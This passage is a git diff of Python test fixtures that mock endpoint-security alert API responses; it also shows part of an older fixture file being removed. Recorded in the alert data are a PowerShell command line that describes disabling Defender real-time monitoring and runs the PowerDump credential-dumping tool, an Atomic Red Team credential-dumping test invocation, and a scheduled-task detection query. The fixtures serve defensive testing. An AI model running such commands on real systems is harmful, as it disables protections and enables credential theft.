"HOST_BASED_FIREWALL", + "id": "2be0652f-20bc-3311-9ded-8b873e28d830", + "legacy_alert_id": "2be0652f-20bc-3311-9ded-8b873e28d830", + "org_key": "ABCD1234", + "create_time": "2023-03-10T11:30:53.388Z", + "last_update_time": "2023-03-10T11:30:53.388Z", + "first_event_time": "2023-03-10T11:28:36.200Z", + "last_event_time": "2023-03-10T11:28:36.200Z", + "threat_id": "86865bbbd875df0c949ce6f3c35bf39d90506577f74677e5dfd6506b135ad490", + "severity": 4, + "category": "THREAT", + "device_id": 12345678, + "device_os": "WINDOWS", + "device_os_version": "Windows 10 x64", + "device_name": "hbfw-demo-device", + "device_username": "deviceuser", + "policy_name": "demo_policy", + "target_value": "MEDIUM", + "workflow": { + "state": "DISMISSED", + "remediation": "NO_REASON", + "last_update_time": "2023-03-10T11:30:53.388Z", + "changed_by": "ALERT_CREATION" + }, + "notes_present": False, + "tags": "", + "policy_id": 19283746, + "reason": "Outbound TCP connection blocked by firewall rule group 'Test Rule for Chrome access'.", + "reason_code": "DD71F364-4A8C-4B14-89F6-7041CC6BEDEA:E0F3E7B8-BCB0-4231-8F0F-8DF0BCD54AA4", + "rule_id": "E0F3E7B8-BCB0-4231-8F0F-8DF0BCD54AA4", + "rule_category_id": "DD71F364-4A8C-4B14-89F6-7041CC6BEDEA", + "threat_cause_actor_name": "c:\\program files\\google\\chrome\\application\\chrome.exe", + "threat_cause_actor_process_pid": "ABCD1234-023411f8-0000241c-00000000-1d93aefb632cbb1", + "threat_cause_actor_sha256": "2b42729ba9cd20511a28398279009e10533b0d911164a3f4af58a25ce2916530", + "threat_cause_reputation": "NOT_LISTED", + "threat_cause_threat_category": "NON_MALWARE", + "threat_cause_cause_event_id": "ED57DA54-BF0F-11ED-BBE3-005056A5294B", + "policy_applied": "APPLIED", + "sensor_action": "DENY", + "device_location": "UNKNOWN", + "alert_classification": "" +} + +"""V6 _info for DEVICE_CONTROL alert generated by SDK 1.4.3 (before Alert API v7 was in use)""" +ALERT_V6_INFO_DEVICE_CONTROL_SDK_1_4_3 = { + "type": "DEVICE_CONTROL", + "id": "b6a7e48b-1d14-11ee-a9e0-888888888788", + "legacy_alert_id": "b6a7e48b-1d14-11ee-a9e0-888888888788", + "org_key": "ABCD1234", + "create_time": "2023-07-10T14:27:42.772Z", + "last_update_time": "2023-07-10T14:27:42.772Z", + "first_event_time": "2023-07-07T22:22:46.955Z", + "last_event_time": "2023-07-07T22:22:46.955Z", + "threat_id": "4a5611e67f619874c1722259d160d45a8d420b79705af02f0dbc3d084e8c85e9", + "severity": 3, + "category": "THREAT", + "device_id": 12121212, + "device_os": "WINDOWS", + "device_os_version": "Windows 11 x64", + "device_name": "demo-deviceP", + "device_username": "sample@demoorg.com", + "policy_name": "demo policy", + "target_value": "MEDIUM", + "workflow": { + "state": "OPEN", + "remediation": "NO_REASON", + "last_update_time": "2023-07-10T14:27:42.772Z", + "changed_by": "ALERT_CREATION" + }, + "notes_present": False, + "tags": "", + "policy_id": 6525, + "reason": "Access attempted on unapproved USB device Generic Mass Storage (SN: 56787654). " + "A Deny Policy Action was applied.", + "device_location": "UNKNOWN", + "threat_cause_threat_category": "NON_MALWARE", + "threat_cause_vector": "REMOVABLE_MEDIA", + "sensor_action": "DENY", + "run_state": "DID_NOT_RUN", + "policy_applied": "APPLIED", + "vendor_name": "Generic", + "vendor_id": "0x058F", + "product_name": "Mass Storage", + "product_id": "0x6387", + "external_device_friendly_name": "Generic Flash Disk USB Device", + "serial_number": "56787654", + "alert_classification": "" +} + +""" V7 API Responses""" + +"""V7 API response for CB_ANALYTIC alert, generated with direct API call and modified to be valid json""" +GET_ALERT_v7_CB_ANALYTICS_RESPONSE = { + "org_key": "ABCD1234", + "alert_url": + "defense.conferdeploy.net/alerts?s[c][query_string]=id:6f1173f5-f921-8e11-2160-edf42b799333&orgKey=ABCD1234", + "id": "6f1173f5-f921-8e11-2160-edf42b799333", + "type": "CB_ANALYTICS", + "backend_timestamp": "2023-08-03T00:23:09.659Z", + "user_update_timestamp": "", + "backend_update_timestamp": "2023-08-03T00:45:18.995Z", + "detection_timestamp": "2023-08-03T00:22:30.526Z", + "first_event_timestamp": "2023-08-03T00:22:29.972Z", + "last_event_timestamp": "2023-08-03T00:43:34.042Z", + "severity": 4, + "reason": "A known virus (HackTool: Powerpuff) was detected running.", + "reason_code": "T_REP_VIRUS", + "threat_id": "9e0afc389c1acc43b382b1ba590498d2", + "primary_event_id": "e9c71da7319611ee935f4d220f1572e7", + "policy_applied": "APPLIED", + "run_state": "RAN", + "sensor_action": "TERMINATE", + "workflow": { + "change_timestamp": "2023-08-03T00:23:09.659Z", + "changed_by_type": "SYSTEM", + "changed_by": "ABCD1234", + "closure_reason": "NO_REASON", + "status": "OPEN" + }, + "determination": { + "change_timestamp": "2023-08-03T00:23:09.659Z", + "value": "NONE", + "changed_by_type": "", + "changed_by": "" + }, + "tags": "", + "alert_notes_present": True, + "threat_notes_present": True, + "is_updated": True, + "device_id": 12345678, + "device_name": "DEMO-Device-Name", + "device_uem_id": "", + "device_target_value": "MEDIUM", + "device_policy": "demo policy", + "device_policy_id": 876543, + "device_os": "WINDOWS", + "device_os_version": "Windows Server 2019 x64", + "device_username": "demo@demo.org.com", + "device_location": "OFFSITE", + "device_external_ip": "1.2.3.4", + "device_internal_ip": "4.3.2.1", + "mdr_alert": False, + "mdr_alert_notes_present": False, + "mdr_threat_notes_present": False, + "ttps": [ + "MITRE_T1059_003_WIN_CMD_SHELL", + "RUN_MALWARE_APP", + "MALWARE_APP", + "RUN_CMD_SHELL", + "MITRE_T1059_CMD_LINE_OR_SCRIPT_INTER", + "FILELESS", + "MITRE_T1059_001_POWERSHELL", + "POLICY_DENY" + ], + "attack_tactic": "TA0002", + "process_guid": "ABCD1234-006a07ff-000009d0-00000000-1d9c5a3876ed575", + "process_pid": 2512, + "process_name": "c:\\users\\administrator\\appdata\\local\\temp\\powerdump.ps1", + "process_sha256": "0640c9ee54aaca64ff238659b281ce28ae5c3729ff0b2700fdac916589aea848", + "process_md5": "ec7d95dff90d2dcc91bb27f365c2c844", + "process_effective_reputation": "KNOWN_MALWARE", + "process_reputation": "KNOWN_MALWARE", + "process_cmdline": "\"powershell.exe\" & {Write-Host \\\"\"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME " + "MON\\\"\" -fore green\nImport-Module \\\"\"$Env:Temp\\PowerDump.ps1\\\"\"\nInvoke-PowerDump}", + "process_username": "DEMO_USER\\Administrator", + "process_issuer": [], + "process_publisher": [], + "parent_guid": "ABCD1234-006a07ff-00000638-00000000-1d9c5a385ff6892", + "parent_pid": 1592, + "parent_name": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe", + "parent_sha256": "6eed1fe48bd0fe3b968af00302d8d9377c9f19e5900f1a0b565a0560f402c1a4", + "parent_md5": "", + "parent_effective_reputation": "TRUSTED_WHITE_LIST", + "parent_reputation": "TRUSTED_WHITE_LIST", + "parent_cmdline": None, + "parent_username": "DEMO_USER\\Administrator", + "childproc_guid": "ABCD1234-006a07ff-00000000-00000000-19db1ded53e8000", + "childproc_name": "", + "childproc_sha256": "", + "childproc_md5": "", + "childproc_effective_reputation": "RESOLVING", + "childproc_username": "DEMO_USER\\Administrator", + "childproc_cmdline": "" +} + +"""V7 API response for WATCHLIST alert, generated with direct API call and modified to be valid json""" +GET_ALERT_v7_WATCHLIST_RESPONSE = { + "org_key": "ABCD1234", + "alert_url": "defense.conferdeploy.net/alerts?s[c][query_string]=id:" + "f6af290d-6a7f-461c-a8af-cf0d24311105&orgKey=ABCD1234", + "id": "f6af290d-6a7f-461c-a8af-cf0d24311105", + "type": "WATCHLIST", + "backend_timestamp": "2023-08-03T15:46:03.764Z", + "user_update_timestamp": "", + "backend_update_timestamp": "2023-08-03T15:46:03.764Z", + "detection_timestamp": "2023-08-03T15:45:34.295Z", + "first_event_timestamp": "2023-08-03T15:40:38.378Z", + "last_event_timestamp": "2023-08-03T15:40:38.378Z", + "severity": 5, + "reason": "Process powershell.exe was detected by the report \"Execution - AMSI - New Fileless Scheduled Task " + "Behavior Detected\" in watchlist \"AMSI Threat Intelligence\"", + "reason_code": "c21ca826-573a-3d97-8c1e-93c8471aab7f:8033b29d-81d2-3c47-82d2-f4a7f398b85d", + "threat_id": "C21CA826573A8D974C1E93C8471AAB7F", + "primary_event_id": "S3CpoLVQQGqdO2N1o0kXBw-0", + "policy_applied": "NOT_APPLIED", + "run_state": "RAN", + "sensor_action": "ALLOW", + "workflow": { + "change_timestamp": "2023-08-03T15:46:03.764Z", + "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION", + "closure_reason": "NO_REASON", + "status": "OPEN" + }, + "determination": { + "change_timestamp": "2023-08-03T15:46:03.764Z", + "value": "NONE", + "changed_by_type": "", + "changed_by": "" + }, + "tags": "", + "alert_notes_present": False, + "threat_notes_present": False, + "is_updated": False, + "device_id": 12345678, + "device_name": "DEMO-Device-Name", + "device_uem_id": "", + "device_target_value": "MEDIUM", + "device_policy": "demo policy", + "device_policy_id": 9876, + "device_os": "WINDOWS", + "device_os_version": "Windows Server 2019 x64", + "device_username": "demo@demo.org.com", + "device_location": "UNKNOWN", + "device_external_ip": "34.234.170.45", + "device_internal_ip": "10.0.14.120", + "mdr_alert": False, + "mdr_alert_notes_present": False, + "mdr_threat_notes_present": False, + "report_id": "LrKOC7DtQbm4g8w0UFruQg-d1080521-e617-4e45-94e0-7a145c62c90a", + "report_name": "Execution - AMSI - New Fileless Scheduled Task Behavior Detected", + "report_description": "Newer Powershell versions introduced built-in cmdlets to manage scheduled tasks natively " + "without calling out to typical scheduled task processes like at.exe or schtasks.exe. " + "This detection looks for behaviors related to the fileless execution of scheduled tasks. " + "If you are responding to this alert, be sure to correlate the fileless scriptload events " + "with events typically found in your environment Generally, attackers will create scheduled " + "tasks with binaries that are located in user writable directories like AppData, Temp, or " + "public folders.", + "report_tags": [ + "execution", + "privesc", + "persistence", + "t1053", + "windows", + "amsi", + "attack", + "attackframework" + ], + "report_link": "https://attack.mitre.org/techniques/T1053/", + "ioc_id": "d1080521-e617-4e45-94e0-7a145c62c90a", + "ioc_hit": "(fileless_scriptload_cmdline:Register-ScheduledTask OR fileless_scriptload_cmdline:New-ScheduledTask " + "OR scriptload_content:Register-ScheduledTask OR scriptload_content:New-ScheduledTask) " + "AND NOT (process_cmdline:windows\\\\ccm\\\\systemtemp OR crossproc_name:windows\\\\ccm\\\\ccmexec.exe " + "OR (process_publisher:\"VMware, Inc.\" AND process_publisher_state:FILE_SIGNATURE_STATE_TRUSTED))", + "watchlists": [ + { + "id": "mnbvc098766HN60hatQMQ", + "name": "AMSI Threat Intelligence" + } + ], + "process_guid": "ABCD1234-006a07ff-00000980-00000000-1d9c620d64ec999", + "process_pid": 2432, + "process_name": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe", + "process_sha256": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c", + "process_md5": "123456789099074eb17c5f4dddefe239", + "process_effective_reputation": "TRUSTED_WHITE_LIST", + "process_reputation": "TRUSTED_WHITE_LIST", + "process_cmdline": "\"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe\" -c \"cd c:\\ ; " + "echo MYPID=$PID; Invoke-AtomicTest T1003.003-5 -GetPrereqs \"", + "process_username": "DEMO_USER\\Administrator", + "process_issuer": [ + "Microsoft Windows Production PCA 2011" + ], + "process_publisher": [ + "Microsoft Windows" + ], + "parent_guid": "ABCD1234-006a07ff-0000047c-00000000-1d9c620d62d5c1a", + "parent_pid": 1148, + "parent_name": "c:\\windows\\system32\\openssh\\sshd.exe", + "parent_sha256": "731e8034cb953abcd0fc86400ad55113efa302f77d276213198a76065601576b", + "parent_md5": "72789836eea643c23cd87732b8535e7e", + "parent_effective_reputation": "TRUSTED_WHITE_LIST", + "parent_reputation": "TRUSTED_WHITE_LIST", + "parent_cmdline": "\"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" \"-z\"", + "parent_username": "DEMO_USER\\Administrator", + "childproc_guid": "", + "childproc_username": "", + "childproc_cmdline": "", + "ml_classification_final_verdict": "NOT_ANOMALOUS", + "ml_classification_global_prevalence": "MEDIUM", + "ml_classification_org_prevalence": "LOW" +} + +"""V7 API response for CONTAINER_RUNTIME alert, generated with direct API call and modified to be valid json""" +GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE = { + "org_key": "ABCD1234", + "alert_url": "defense-test03.cbdtest.io/alerts?s[c][query_string]=" + "id:46b419c8-3d67-ead8-dbf1-9d8417610fac&orgKey=ABCD1234", + "id": "46b419c8-3d67-ead8-dbf1-9d8417610fac", + "type": "CONTAINER_RUNTIME", + "backend_timestamp": "2023-08-03T10:48:54.536Z", + "user_update_timestamp": "", + "backend_update_timestamp": "2023-08-03T10:48:54.536Z", + "detection_timestamp": "2023-08-03T10:46:01.641Z", + "first_event_timestamp": "2023-08-03T10:45:28.860Z", + "last_event_timestamp": "2023-08-03T10:45:28.860Z", + "severity": 5, + "reason": "Detected a connection to a private network that isn't allowed for this scope", + "reason_code": "453964c6-c730-4098-b634-c44a2734537a:ec912f66-57c1-466b-b597-1d4a4ce1429c", + "threat_id": "a63ac7a14eadcb0577f48eae04c12955462727368be49b3d65dcaf0ddabf6246", + "primary_event_id": "X0eNZIe7StKs07MWe5oevw-1083", + "policy_applied": "NOT_APPLIED", + "run_state": "RAN", + "sensor_action": "ALLOW", + "workflow": { + "change_timestamp": "2023-08-03T10:48:54.536Z", + "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION", + "closure_reason": "NO_REASON", + "status": "OPEN" + }, + "determination": { + "change_timestamp": "2023-08-03T10:48:54.536Z", + "value": "NONE", + "changed_by_type": "", + "changed_by": "" + }, + "tags": "", + "alert_notes_present": False, + "threat_notes_present": False, + "is_updated": False, + "mdr_alert": False, + "mdr_alert_notes_present": False, + "mdr_threat_notes_present": False, + "netconn_remote_port": 56246, + "netconn_local_port": 443, + "netconn_protocol": "TCP", + "netconn_remote_domain": "", + "netconn_remote_ip": "1.2.3.4", + "netconn_local_ip": "4.3.2.1", + "netconn_remote_ipv4": "1.2.3.4", + "netconn_local_ipv4": "4.3.2.1", + "k8s_cluster": "demo:cluster_name", + "k8s_namespace": "demo_namespace", + "k8s_kind": "Deployment", + "k8s_workload_name": "demo_workload_name", + "k8s_pod_name": "demo_workload_id-replica_54cd9c9477-gz6v8", + "k8s_policy_id": "453964c6-c730-4098-b634-c44a2734537a", + "k8s_policy": "demo policy name", + "k8s_rule_id": "ec912f66-57c1-466b-b597-1d4a4ce1429c", + "k8s_rule": "Allowed private destinations", + "connection_type": "EGRESS", + "egress_group_id": "", + "egress_group_name": "", + "ip_reputation": 0, + "remote_is_private": True +} + +"""V7 API response for HBFW alert, generated with direct API call and modified to be valid json""" +GET_ALERT_v7_HBFW_RESPONSE = { + "org_key": "ABCD1234", + "alert_url": "defense-test03.cbdtest.io/alerts?s[c][query_string]=" + "id:2be0652f-20bc-3311-9ded-8b873e28d830&orgKey=ABCD1234", + "id": "2be0652f-20bc-3311-9ded-8b873e28d830", + "type": "HOST_BASED_FIREWALL", + "backend_timestamp": "2023-03-10T11:30:53.388Z", + "user_update_timestamp": "", + "backend_update_timestamp": "2023-03-10T11:30:53.388Z", + "detection_timestamp": "2023-03-10T11:28:36.200Z", + "first_event_timestamp": "2023-03-10T11:28:36.200Z", + "last_event_timestamp": "2023-03-10T11:28:36.200Z", + "severity": 4, + "reason": "Outbound TCP connection blocked by firewall rule group 'Test Rule for Chrome access'.", + "reason_code": "DD71F364-4A8C-4B14-89F6-7041CC6BEDEA:E0F3E7B8-BCB0-4231-8F0F-8DF0BCD54AA4", + "threat_id": "86865bbbd875df0c949ce6f3c35bf39d90506577f74677e5dfd6506b135ad490", + "primary_event_id": "ED57DA54-BF0F-11ED-BBE3-005056A5294B", + "policy_applied": "APPLIED", + "run_state": "DID_NOT_RUN", + "sensor_action": "DENY", + "workflow": { + "change_timestamp": "2023-03-10T11:30:53.388Z", + "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION", + "closure_reason": "NO_REASON", + "status": "CLOSED" + }, + "determination": { + "change_timestamp": "2023-03-10T11:30:53.388Z", + "value": "NONE", + "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION" + }, + "tags": "", + "alert_notes_present": False, + "threat_notes_present": False, + "is_updated": False, + "rule_category_id": "DD71F364-4A8C-4B14-89F6-7041CC6BEDEA", + "rule_id": "E0F3E7B8-BCB0-4231-8F0F-8DF0BCD54AA4", + "device_id": 12345678, + "device_name": "hbfw-demo-device", + "device_uem_id": "", + "device_target_value": "MEDIUM", + "device_policy": "demo_policy", + "device_policy_id": 19283746, + "device_os": "WINDOWS", + "device_os_version": "Windows 10 x64", + "device_username": "deviceuser", + "device_location": "UNKNOWN", + "device_external_ip": "1.2.3.4", + "device_internal_ip": "5.6.7.8", + "mdr_alert": False, + "mdr_alert_notes_present": False, + "mdr_threat_notes_present": False, + "process_guid": "ABCD1234-023411f8-0000241c-00000000-1d93aefb632cbb1", + "process_pid": 9244, + "process_name": "c:\\program files\\google\\chrome\\application\\chrome.exe", + "process_sha256": "2b42729ba9cd20511a28398279009e10533b0d911164a3f4af58a25ce2916530", + "process_md5": "ffa2b8e17f645bcc20f0e0201fef83ed", + "process_effective_reputation": "ADAPTIVE_WHITE_LIST", + "process_reputation": "NOT_LISTED", + "process_cmdline": "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --type=utility " + "--utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none " + "--mojo-platform-channel-handle=2236 --field-trial-handle=1836,i," + "17669044556379481032,7348693199459682555,131072 /prefetch:8", + "process_username": "hbfw-demo-device\\deviceuser", + "process_issuer": [ + "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" + ], + "process_publisher": [ + "Google LLC" + ], + "parent_guid": "ABCD1234-023411f8-00001f94-00000000-1d93aefb47214d9", + "parent_pid": 8084, + "parent_name": "c:\\program files\\google\\chrome\\application\\chrome.exe", + "parent_sha256": "2b42729ba9cd20511a28398279009e10533b0d911164a3f4af58a25ce2916530", + "parent_md5": "ffa2b8e17f645bcc20f0e0201fef83ed", + "parent_effective_reputation": "ADAPTIVE_WHITE_LIST", + "parent_reputation": "NOT_LISTED", + "parent_cmdline": "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" ", + "parent_username": "hbfw-demo-device\\deviceuser", + "childproc_guid": "", + "childproc_username": "", + "childproc_cmdline": "", + "netconn_remote_port": 443, + "netconn_local_port": 54405, + "netconn_protocol": "", + "netconn_remote_domain": "demo.domain.com", + "netconn_remote_ip": "2.3.4.5", + "netconn_local_ip": "5.6.7.8", + "netconn_remote_ipv4": "2.3.4.5", + "netconn_local_ipv4": "5.6.7.8" +} + +"""V7 API response for DEVICE_CONTROL alert, generated with direct API call and modified to be valid json""" +GET_ALERT_v7_DEVICE_CONTROL_RESPONSE = { + "org_key": "ABCD1234", + "alert_url": "defense.conferdeploy.net/alerts?s[c][query_string]=" + "id:b6a7e48b-1d14-11ee-a9e0-888888888788&orgKey=ABCD1234", + "id": "b6a7e48b-1d14-11ee-a9e0-888888888788", + "type": "DEVICE_CONTROL", + "backend_timestamp": "2023-07-10T14:27:42.772Z", + "user_update_timestamp": "", + "backend_update_timestamp": "2023-07-10T14:27:42.772Z", + "detection_timestamp": "2023-07-07T22:22:46.955Z", + "first_event_timestamp": "2023-07-07T22:22:46.955Z", + "last_event_timestamp": "2023-07-07T22:22:46.955Z", + "severity": 3, + "reason": "Access attempted on unapproved USB device Generic Mass Storage (SN: 56787654). " + "A Deny Policy Action was applied.", + "reason_code": "6D578342-9DE5-4353-9C25-1D3D857BFC5B:DCAEB1FA-513C-4026-9AB6-37A935873FBC", + "threat_id": "4a5611e67f619874c1722259d160d45a8d420b79705af02f0dbc3d084e8c85e9", + "primary_event_id": "B6A7E48D-1D14-11EE-A9E0-888888888788", + "policy_applied": "APPLIED", + "run_state": "DID_NOT_RUN", + "sensor_action": "DENY", + "workflow": { + "change_timestamp": "2023-07-10T14:27:42.772Z", + "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION", + "closure_reason": "NO_REASON", + "status": "OPEN" + }, + "determination": { + "change_timestamp": "2023-07-10T14:27:42.772Z", + "value": "NONE", + "changed_by_type": "", + "changed_by": "" + }, + "tags": "", + "alert_notes_present": False, + "threat_notes_present": False, + "is_updated": False, + "device_id": 12121212, + "device_name": "demo-deviceP", + "device_uem_id": "", + "device_target_value": "MEDIUM", + "device_policy": "demo policy", + "device_policy_id": 6525, + "device_os": "WINDOWS", + "device_os_version": "Windows 11 x64", + "device_username": "sample@demoorg.com", + "device_location": "UNKNOWN", + "device_external_ip": "9.8.7.6", + "device_internal_ip": "6.5.4.3", + "mdr_alert": False, + "mdr_alert_notes_present": False, + "mdr_threat_notes_present": False, + "vendor_name": "Generic", + "vendor_id": "0x058F", + "product_name": "Mass Storage", + "product_id": "0x6387", + "external_device_friendly_name": "Generic Flash Disk USB Device", + "serial_number": "56787654" +} + + +GET_ALERT_HISTORY = { + "history": [ + { + "type": "USER_WORKFLOW_UPDATE", + "workflow": { + "change_timestamp": "2023-04-14T21:30:40.570Z", + "changed_by_type": "SYSTEM", + "changed_by": "ALERT_CREATION", + "closure_reason": "NO_REASON", + "status": "OPEN" + } + }, + { + "type": "USER_DETERMINATION_UPDATE", + "determination": { + "changed_by": "demouser@demoorg.com", + "changed_by_type": "USER", + "change_timestamp": "2023-04-16T23:32:41.182Z", + "value": "TRUE_POSITIVE" + } + }, + { + "type": "ALERT_NOTE_ADDED", + "note": { + "author": "demouser@demoorg.com", + "create_timestamp": "2023-04-16T23:35:10.295Z", + "last_update_timestamp": "2023-04-16T23:35:10.295Z", + "id": "eb0c0791-505b-408e-8b03-24562a95a875", + "source": "CUSTOMER", + "note": "A note for API demo", + "parent_id": None, + "read_history": None, + "thread": None + } + } + ] +} + +GET_THREAT_HISTORY = { + "history": [ + { + "type": "THREAT_NOTE_ADDED", + "note": { + "author": "demouser@demoorg.com", + "create_timestamp": "2023-04-18T03:20:59.426Z", + "last_update_timestamp": "2023-04-18T03:20:59.426Z", + "id": "372ab282-7733-48fd-b26c-d58508b8c88f", + "source": "CUSTOMER", + "note": "A note on the threat", + "parent_id": None, + "read_history": None, + "thread": None + } + } + ] +} diff --git a/src/tests/unit/fixtures/platform/mock_alerts.py b/src/tests/unit/fixtures/platform/mock_alerts.py deleted file mode 100644 index e4b6c9497..000000000 --- a/src/tests/unit/fixtures/platform/mock_alerts.py +++ /dev/null @@ -1,317 +0,0 @@ -"""Mock responses for alert queries.""" - -GET_ALERT_RESP = { - "type": "CB_ANALYTICS", - "id": "86123310980efd0b38111eba4bfa5e98aa30b19", - "legacy_alert_id": "62802DCE", - "org_key": "4JDT3MX9Q", - "create_time": "2021-05-13T00:20:46.474Z", - "last_update_time": "2021-05-13T00:27:22.846Z", - "first_event_time": "2021-05-13T00:20:13.043Z", - "last_event_time": "2021-05-13T00:20:13.044Z", - "threat_id": "a26842be6b54ea2f58848b23a3461a16", - "severity": 1, - "category": "MONITORED", - "device_id": 8612331, - "device_os": "WINDOWS", - "device_os_version": "Windows Server 2019 x64", - "device_name": "win-2016-devrel", - "device_username": "Administrator", - "policy_id": 7113786, - "policy_name": "Standard", - "target_value": "MEDIUM", - "workflow": { - "state": "OPEN", - "remediation": "None", - "last_update_time": "2021-05-13T00:20:46.474Z", - "comment": "None", - "changed_by": "Carbon Black", - }, - "notes_present": False, - "tags": "None", - "reason": "A port scan was detected from 10.169.255.100 on an external network (off-prem).", - "reason_code": "R_SCAN_OFF", - "process_name": "svchost.exe", - "device_location": "OFFSITE", - "created_by_event_id": "0980efd0b38111eba4bfa5e98aa30b19", - "threat_indicators": [ - { - "process_name": "svchost.exe", - "sha256": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6", - "ttps": [ - "ACTIVE_SERVER", - "MITRE_T1046_NETWORK_SERVICE_SCANNING", - "NETWORK_ACCESS", - "PORTSCAN", - ], - } - ], - "threat_activity_dlp": "NOT_ATTEMPTED", - "threat_activity_phish": "NOT_ATTEMPTED", - "threat_activity_c2": "NOT_ATTEMPTED", - "threat_cause_actor_sha256": "10.169.255.100", - "threat_cause_actor_name": "svchost.exe -k RPCSS -p", - "threat_cause_actor_process_pid": "868-132563418721238249-0", - "threat_cause_process_guid": "4JDT3MX9Q-008369eb-00000364-00000000-1d6f5ba1b173ce9", - "threat_cause_parent_guid": "None", - "threat_cause_reputation": "ADAPTIVE_WHITE_LIST", - "threat_cause_threat_category": "NEW_MALWARE", - "threat_cause_vector": "UNKNOWN", - "threat_cause_cause_event_id": "0980efd1b38111eba4bfa5e98aa30b19", - "blocked_threat_category": "UNKNOWN", - "not_blocked_threat_category": "NEW_MALWARE", - "kill_chain_status": ["RECONNAISSANCE"], - "sensor_action": "None", - "run_state": "RAN", - "policy_applied": "NOT_APPLIED", -} - -GET_ALERT_RESP_INVALID_ALERT_ID = { - "type": "CB_ANALYTICS", - "id": "86123310980efd0b38111eba4bfa5e98aa30b19", - "legacy_alert_id": None, - "org_key": "4JDT3MX9Q", - "create_time": "2021-05-13T00:20:46.474Z", - "last_update_time": "2021-05-13T00:27:22.846Z", - "first_event_time": "2021-05-13T00:20:13.043Z", - "last_event_time": "2021-05-13T00:20:13.044Z", - "threat_id": "a26842be6b54ea2f58848b23a3461a16", - "severity": 1, - "category": "MONITORED", - "device_id": 8612331, - "device_os": "WINDOWS", - "device_os_version": "Windows Server 2019 x64", - "device_name": "win-2016-devrel", - "device_username": "Administrator", - "policy_id": 7113786, - "policy_name": "Standard", - "target_value": "MEDIUM", - "workflow": { - "state": "OPEN", - "remediation": "None", - "last_update_time": "2021-05-13T00:20:46.474Z", - "comment": "None", - "changed_by": "Carbon Black", - }, - "notes_present": False, - "tags": "None", - "reason": "A port scan was detected from 10.169.255.100 on an external network (off-prem).", - "reason_code": "R_SCAN_OFF", - "process_name": "svchost.exe", - "device_location": "OFFSITE", - "created_by_event_id": "0980efd0b38111eba4bfa5e98aa30b19", - "threat_indicators": [ - { - "process_name": "svchost.exe", - "sha256": "7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6", - "ttps": [ - "ACTIVE_SERVER", - "MITRE_T1046_NETWORK_SERVICE_SCANNING", - "NETWORK_ACCESS", - "PORTSCAN", - ], - } - ], -} - -GET_ALERT_TYPE_WATCHLIST = { - "type": "WATCHLIST", - "id": "6b2348cb-87c1-4076-bc8e-7c717e8af608", - "legacy_alert_id": "6b2348cb-89b1-4076-bc8e-7c719e8af608", - "org_key": "4JDT3MX9Q", - "create_time": "2021-10-07T10:46:56.516Z", - "last_update_time": "2021-10-07T10:46:56.516Z", - "first_event_time": "2021-10-07T10:43:15.082Z", - "last_event_time": "2021-10-07T10:43:15.082Z", - "threat_id": "684285332DE159CA7BF925894E1FC953", - "severity": 4, - "category": "THREAT", - "device_id": 11545912, - "device_os": "WINDOWS", - "device_os_version": None, - "device_name": "TEST", - "device_username": "Administrator", - "policy_id": 7113786, - "policy_name": "Standard", - "target_value": "MEDIUM", - "workflow": { - "state": "OPEN", - "remediation": None, - "last_update_time": "2021-10-07T10:45:53.423Z", - "comment": None, - "changed_by": "Carbon Black", - }, - "notes_present": False, - "tags": None, - "reason": 'Process msedge.exe was detected by the report.', - "count": 0, - "report_id": "QFFFabSGRrub94aetqjouQ", - "report_name": "edge", - "ioc_id": "66331b78-0259-4f57-857d-999d804c569e", - "ioc_field": None, - "ioc_hit": "(process_name:msedge.exe)", - "watchlists": [{"id": "zDCzWnQL2YmGh5OlbF6Q", "name": "edge"}], - "process_guid": "WNEXFKQ7-000309c2-00000478-00000000-1d6a1c1f2b02805", - "process_name": "msedge.exe", - "run_state": "RAN", - "threat_indicators": [ - { - "process_name": "msedge.exe", - "sha256": "51470c146291697e5ee80b5409b013b414ea88da4c44fd0884723878f7e803ab", - "ttps": ["66331b78-0259-4f57-857d-999d804c569e"], - } - ], - "threat_cause_actor_sha256": "51470c146291697e5ee80b5409b013b414ea88da4c44fd0884723878f7e803ab", - "threat_cause_actor_md5": "16c4c388f84eadd55634c2147e36ce64", - "threat_cause_actor_name": "c:\\program files (x86)\\microsoft\\edge\\application\\msedge.exe", - "threat_cause_reputation": "ADAPTIVE_WHITE_LIST", - "threat_cause_threat_category": "UNKNOWN", - "threat_cause_vector": "UNKNOWN", - "document_guid": "TYPjsqedQmqRddFHjjhQpQ", -} - -GET_ALERT_TYPE_WATCHLIST_INVALID = { - "type": "WATCHLIST", - "id": "6b2348cb-87c1-4076-bc8e-7c717e8af608", - "legacy_alert_id": "6b2348cb-89b1-4076-bc8e-7c719e8af608", - "org_key": "4JDT3MX9Q", - "create_time": "2021-10-07T10:46:56.516Z", - "last_update_time": "2021-10-07T10:46:56.516Z", - "first_event_time": "2021-10-07T10:43:15.082Z", - "last_event_time": "2021-10-07T10:43:15.082Z", - "threat_id": "684285332DE159CA7BF925894E1FC953", - "severity": 4, - "category": "THREAT", - "device_id": 11545912, - "device_os": "WINDOWS", - "device_os_version": None, - "device_name": "TEST", - "device_username": "Administrator", - "policy_id": 7113786, - "policy_name": "Standard", - "target_value": "MEDIUM", - "workflow": { - "state": "OPEN", - "remediation": None, - "last_update_time": "2021-10-07T10:45:53.423Z", - "comment": None, - "changed_by": "Carbon Black", - }, - "notes_present": False, - "tags": None, - "reason": 'Process msedge.exe was detected by the report.', - "count": 0, - "report_id": "QFFFabSGRrub94aetqjouQ", - "report_name": "edge", - "ioc_id": 